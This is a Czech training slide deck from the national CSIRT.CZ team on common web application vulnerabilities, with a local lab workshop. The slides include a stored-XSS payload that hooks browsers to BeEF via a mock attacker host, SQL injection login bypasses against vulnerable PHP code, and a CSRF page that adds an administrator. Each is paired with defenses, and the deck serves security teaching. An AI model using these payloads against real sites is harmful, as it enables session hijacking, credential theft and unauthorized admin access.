Nejčastější zranitelnosti webových aplikací

Pavel Bašta • pavel.basta@nic.cz • 30.11.2013

CSIRT.CZ

- CSIRT, národní CSIRT, vládní CSIRT
- CSIRT.CZ - Národní CSIRT České republiky
- Založen v rámci plnění grantu „Kybernetické hrozby z hlediska bezpečnostních zájmů České republiky“ (2007 – 2010)
- V letech 2008 – 2010 provozován sdružením CESNET
- Memorandum mezi MV ČR a CZ.NIC ze dne 9. 12. 2010

CSIRT.CZ

- CZ.NIC provozuje pracoviště CSIRT.CZ od 1. 1. 2011
- Status „akreditovaný“ u TI
- 2011 – kybernetická bezpečnost v gesci NBÚ
- Od 1. 4. 2012 provoz na základě memoranda s NBÚ
- https://www.csirt.cz/files/csirt/Memorandum_nbu.pdf

Role CSIRT.CZ

- Poskytování služeb v oblasti bezpečnosti
  - osvěta, školení, přednášky
  - incident response
  - proaktivní služby
- Slouží jako tým typu „last resort“ pro komerční a akademickou sféru
- Nemá výkonné pravomoci
  - Neumí nic „vypnout“

Role CSIRT.CZ

- Spolupráce
  - (mezi)národní
  - Pracovní skupina CSIRT.CZ
    - ISP, provozovatelé služeb, banky, bezpečnostní složky, NIX.CZ, CZ.NIC, CESNET, CERT/CSIRT týmy, ČTU, UOOU

Incident response

- Řešení a koordinace řešení bezpečnostních incidentů
  - veškeré adresové rozsahy přidělené do ČR
  - adresa pro hlášení bezpečnostních incidentů = abuse@csirt.cz
- Kdy je BI hlášen týmu CSIRT.CZ:
  - když není jasné, kdo je za incident zodpovědný
  - nulová reakce ze strany adresáta stížnosti
  - není snaha incident řešit
  - velmi závažný incident
  - když se objeví podezření, že by určitá množina sítí/zařízení mohla být cílem útoku

Incident response

- Možnosti a prostředky CSIRT.CZ při řešení BI:
  - pozitivní motivace :-)
  - spolupráce, komunikace, vazby
  - existující legislativa
  - znalost prostředí, kontaktů
  - zkušenosti

Osvěta

- Aktuálně z bezpečnosti
  - Zaměření na uživatele i administrátory
  - Hlavně praktické informace
    - Nové zranitelnosti
    - Nové útoky(phishing, česká pošta, atd.)
    - Hardening
- Psaní odborných příspěvků do médií
- Vystupování na konferencích
- Školení pro PČR a další úřady

Proaktivita

- Sledování různých zdrojů dat
  - MDM (Malicious Domain Manager)
    - Opensource
    - Různé zdroje informací(phishtank, malwarepatrol,atd.)
    - Upozorňování konkrétních držitelů doménových jmen na problém na jejich webové stránce
    - Od spuštění v květnu 2011 6256 domén,83747 URL
  - IDS.CZ
    - Detekce anomálií v síti CESNET2

Proaktivita

- Sledování dalších zdrojů a internetových fór, IRC, twitter, atd.
  - Informace o chystaných útocích, o uskutečněných průnicích a další informace ze světa hackerů
  - Další jednorázové akce
    - random porty DNS
    - Industrial Control Systems (ICS)

Skener webu

- Služba cílí primárně na zákazníky z řad neziskových společností a státního sektoru
- Je poskytována zcela zdarma
- Web je dnes něco jako výkladní skříň společnosti
- Otestujeme webové stránky na nejčastější zranitelnosti, možno předejít velkým ztrátám a výpadkům, případně poškození dobrého jména

Skener webu

- Výstupem zpráva obsahující popis a ohodnocení zranitelností a rady na jejich řešení
- Pečlivě hlídáme kdo o službu žádá (oprávněnost žadatele)
- Více informací lze získat na
  - podpora@skenerwebu.cz
  - https://www.skenerwebu.cz/

Zranitelnosti webových aplikací(XSS)

- XSS
  - Kvůli neošetřeným vstupům je útočník schopen podstrčit do stránek svůj vlastní kód (javascriptový,html, VBSript)
  - Persistent (Stored)
    - Natrvalo uloženo v dané aplikaci
  - Non-persistent (Reflected)
    - Předává se prostřednictvím URL

Non-persistent XSS

- Nastává tam, kde uživatel předává serveru nějaká data, která jsou pak zobrazena
  - Formulář pro vyhledávání
  - Uživatel zadá slovo „automobil“
  - Server vrátí stránku, kde je napsáno „Hledaný výraz automobil byl nalezen v celkem třech článcích“
  - Co když uživatel zadá automobil<script>nebezpečný kód</script>?

Non-persistent XSS

- Útok je jiný v případě požadavku GET a POST
- GET
  - Parametry od uživatele jsou předávány v URL
  - Http://www.mujshop.w/heledej.php?dotaz=automobil <script>nebezpecny kod</script>
- POST
  - Parametry se předávají v těle HTTP požadavku
  - Útočník musí použít mezičlánek, kde má připravenu stránku, která odešle data za uživatele.

Persistent XSS

- Útočník zadá javascript do neošetřeného vstupu na stránce, například diskuzní fórum
  - Ahoj, co si myslíte o tom novém autě škodovky? <script>nebezpecnykod</script>
- Skript je uložen trvale na straně serveru
- Při každém načtení stránky s příspěvkem útočníka se načte a vykoná také jeho skript

Zranitelnosti webových aplikací(XSS)

- Možné zneužití:
  - Spuštění zákeřného kódu
  - Přesměrování na nebezpečný server
  - Zneužití uživatelských oprávnění
  - Manipulace s obsahem stránky
  - Únos sezení

XSS

- Nástroje usnadňující nalezení a zneužití XSS zranitelností
  - Netsparker, Nessus, Skipfish, W3af
  - BeEF, XSS Shell, Blackhole

XSS

- Obrana
  - Nahrazení potenciálně nebezpečných znaků pomocí HTML entit (< < | > > | “ ")
    - V PHP funkcí htmlspecialchars()
    - Pozor na uživatelský vstup v hodnotě atributu některého z prvků
    - V defaultním nastavení nenahrazuje znak apostrofu - pro potlačení uvozovek s parametrem ENT_QUOTES
  - Na straně uživatele
    - NoScript, nastavení prohlížeče

Příprava pro workshop

- V Kali linuxu spusťte shell
- Zadejte cd /opt
- Stáhněte potřebné soubory
- wget https://secure.nic.cz/files/pbasta/mladeholky.zip
  https://secure.nic.cz/files/pbasta/shop.sql
  https://secure.nic.cz/files/pbasta/shop.zip

Příprava pro workshop

- unzip -d /var/www/ shop.zip
- unzip -d /var/www/ mladeholky.zip
- /etc/init.d/mysql start
- mysql -uroot -e "create database shop"
- mysql -u root shop < shop.sql
- rm /var/www/index.html
- echo "127.0.0.1 utocnik.w" >> /etc/hosts
- echo "127.0.0.1 mujshop.w" >> /etc/hosts
- /etc/init.d/apache2 start

Cvičení XSS

- Spusťte příkazy:
  - /etc/init.d/beef-xss start
- V prohlížeči otevřete tyto URL
  - utocnik.w:3000/ui/panel
    - User:beef
    - Pass:beef
  - mujshop.w/shop/
    - Proveďte registraci, v poli Firma zadejte:

      cokoliv<script type=text/javascript src=http://utocnik.w:3000/hook.js></script>

Cvičení XSS

- V jiné záložce otevřeme URL
- http://mujshop.w/shop/administrace
  - User:admin
  - Pass:123456
- Přepneme se na záložku Beef Control Panel
  - Mezi on-line prohlížeči nyní vidíme sami sebe
  - Vyzkoušejte v záložce commands/social engineering položku pretty theft a v Browser/HookedDomain položku Get Cookie

Zranitelnosti webových aplikací(SQLi)

- SQL injection
  - Způsobeno neošetřenými vstupy od uživatele
  - Vykonání vlastního pozměněného SQL dotazu
  - Krádež dat (včetně hesel, či jejich otisků), změna obsahu stránek(defacement, ceny v e-shopu,atd.), smazání databáze, spuštění vlastního kódu na serveru...

Zdrojový kód náchylný k útoku:

```
$select="SELECT name, funkce FROM admins WHERE name='$myusername' and password='$mypassword'";
if(mysql_num_rows($data = mysql_query($select, $this->link)) == 0)
return 0;
else
{
$_SESSION['login'] = mysql_result($data, 0, 0);
$_SESSION['prava'] = 1;
$_SESSION['funkce'] = mysql_result($data, 0, 1);
return 1;
}
```

Normální dotaz:

```
$select="SELECT name, funkce FROM admins WHERE name='admin' and password='123456'";
```

Útočník zadá username admin a heslo 'or 1=1

```
$select="SELECT name, funkce FROM admins WHERE name='admin' and password='' or 1=1 #'";
```

SQLi

- Obrana
  - Na straně aplikace
    - Ošetření vstupu od uživatele escapováním znaků

      (' => \', " => \", \ => \\)

    - \' apostrof nebude databází interpretován jako znak uvozující konec řetězce
    - V PHP funkce mysqli_real_escape_string()
  - Na straně databáze
    - Vhodné nastavení práv uživatele
      - DROP TABLE, DATABASE?

Zdrojový kód náchylný k útoku:

```
$select="SELECT name, funkce FROM admins WHERE name='$myusername' and password='$mypassword'";
if(mysql_num_rows($data = mysql_query($select, $this->link)) == 0)
return 0;
else
{
$_SESSION['login'] = mysql_result($data, 0, 0);
$_SESSION['prava'] = 1;
$_SESSION['funkce'] = mysql_result($data, 0, 1);
return 1;
}
```

Normální dotaz:

```
$select="SELECT name, funkce FROM admins WHERE name='admin' and password='123456'";
```

Útočník zadá username admin a heslo 'or 1=1

```
$select="SELECT name, funkce FROM admins WHERE name='admin' and password='' or 1=1 #'";

$select="SELECT name, funkce FROM admins WHERE name='admin' and password='\' or 1=1 #'";

$select="SELECT name, funkce FROM admins WHERE name='admin' and password=' or 1=1 #'";
```

Cvičení SQLi

- Otevřete URL mujshop.w/shop/administrace
- Přihlašte se jako admin s heslem 123456
- Odhlašte se a zkuste se přihlásit se špatným heslem
- Nyní se zkuste přihlásit jako
  - admin' # s libovolným heslem
  - Odhlašte se
  - admin s heslem ' or 1=1 #

CSRF (Cross Site Request Forgery)

- Velmi rozšířená zranitelnost
- Odeslání http požadavku z jedné webové aplikace do jiné pod identitou oběti (formuláře)
- Oběť musí být přihlášená
- Oběť tak může nevědomky prostřednictvím podvržené stránky například:
  - přidat nový administrátorský účet webové aplikace
  - ve webmail aplikaci může nastavit posílání kopií e-mailů na adresu útočníka
  - změnit dodací adresu v e-shopu

CSRF

- Odesílání požadavků pomocí metody GET
  - Příprava URL dle očekávaných parametrů, např.

www.mujmail.cz/changeredir?params=hacker@seznam.cz

- Odesílání požadavků pomocí metody POST
  - Útočník připraví speciální webovou stránku s pro oběť lákavým obsahem, např jí link podstrčí třeba s tím, že jsou tam nějaké nevhodné fotky oběti

CSRF

- Do stránky je pomocí html tagu iframe vložena další stránka, která je vlastně předpřipraveným formulářem, kde jsou již vyplněna všechna požadovaná pole
- Když oběť vstoupí na připravenou stránku, javascript se na pozadí postará o odeslání formuláře

CSRF

- Ochrana
  - Sledování HTTP hlavičky referer
    - Může omezovat část uživatelů
  - Sledování HTTP hlavičky Origin
    - Omezení pro část uživatelů
  - Generování tokenů
    - Nejlepší varianta
    - Lze obejít pomocí clickjackingu
    - Vhodné kombinovat s hlavičkou X-FRAME-OPTIONS

Labs CSRF

- V prohlížeči Firefox(Iceweasel) otevřeme nástroje/správce doplňků a necháme vyhledat „web developer“ a nainstalujeme jej
- Restartujeme prohlížeč
- V příkazové řádce zadáme

vi /var/www/mladeholky/form.html

- V prohlížeči otevřeme adresu

http://mujshop.w/shop/administrace

Labs CSRF

- Přihlásíme se jako „admin“ „123456“
- Vybereme položku přidat administrátora
- V liště doplňku web developer vybereme položku Formuláře a v ní zobrazit detaily formuláře
- Porovnejte zobrazené prvky s obsahem souboru form.html připraveného útočníkem
- Nyní v administrátorském rozhraní shopu klikněte na položku administrátoři

Labs CSRF

- Všimněte si, že je v aplikaci jediný administrátor
- Nyní otevřete URL http://utocnik.w/mladeholky
- Vraťte se do záložky s eshopem a znovu klikněte na položku Zobrazit administrátory
- Nyní jsou již v aplikaci dva administrátoři
- Aplikaci vi ukončíme zadáním znaků :q a enter.
- Nyní otevřeme soubor index.html

vi /var/www/mladeholky/index.html

Labs CSRF

- Změňte u položky opacity hodnotu z nuly na jedna a položky height="1" width="1" nastavte na 1000.
- Uložte pomocí sekvence znaků :wq a enter
- Obnovte stránku http://utocnik.w/mladeholky/

Kde se dozvědět více?

- Na školeních v akademii CZ.NIC
- https://akademie.nic.cz/
- Svobodná aplikační bezpečnost
  - Školení zaměřené na zranitelnosti webových aplikací uvedené v OWASP Top Ten
- Bezpečnost prakticky
  - Školení zaměřené na různé vektory útoku
  - Buffer overflow, Teensy, prolamování wi-fi sítí, louskání hesel, atd.

Děkuji za pozornost

Pavel Bašta • pavel.basta@nic.cz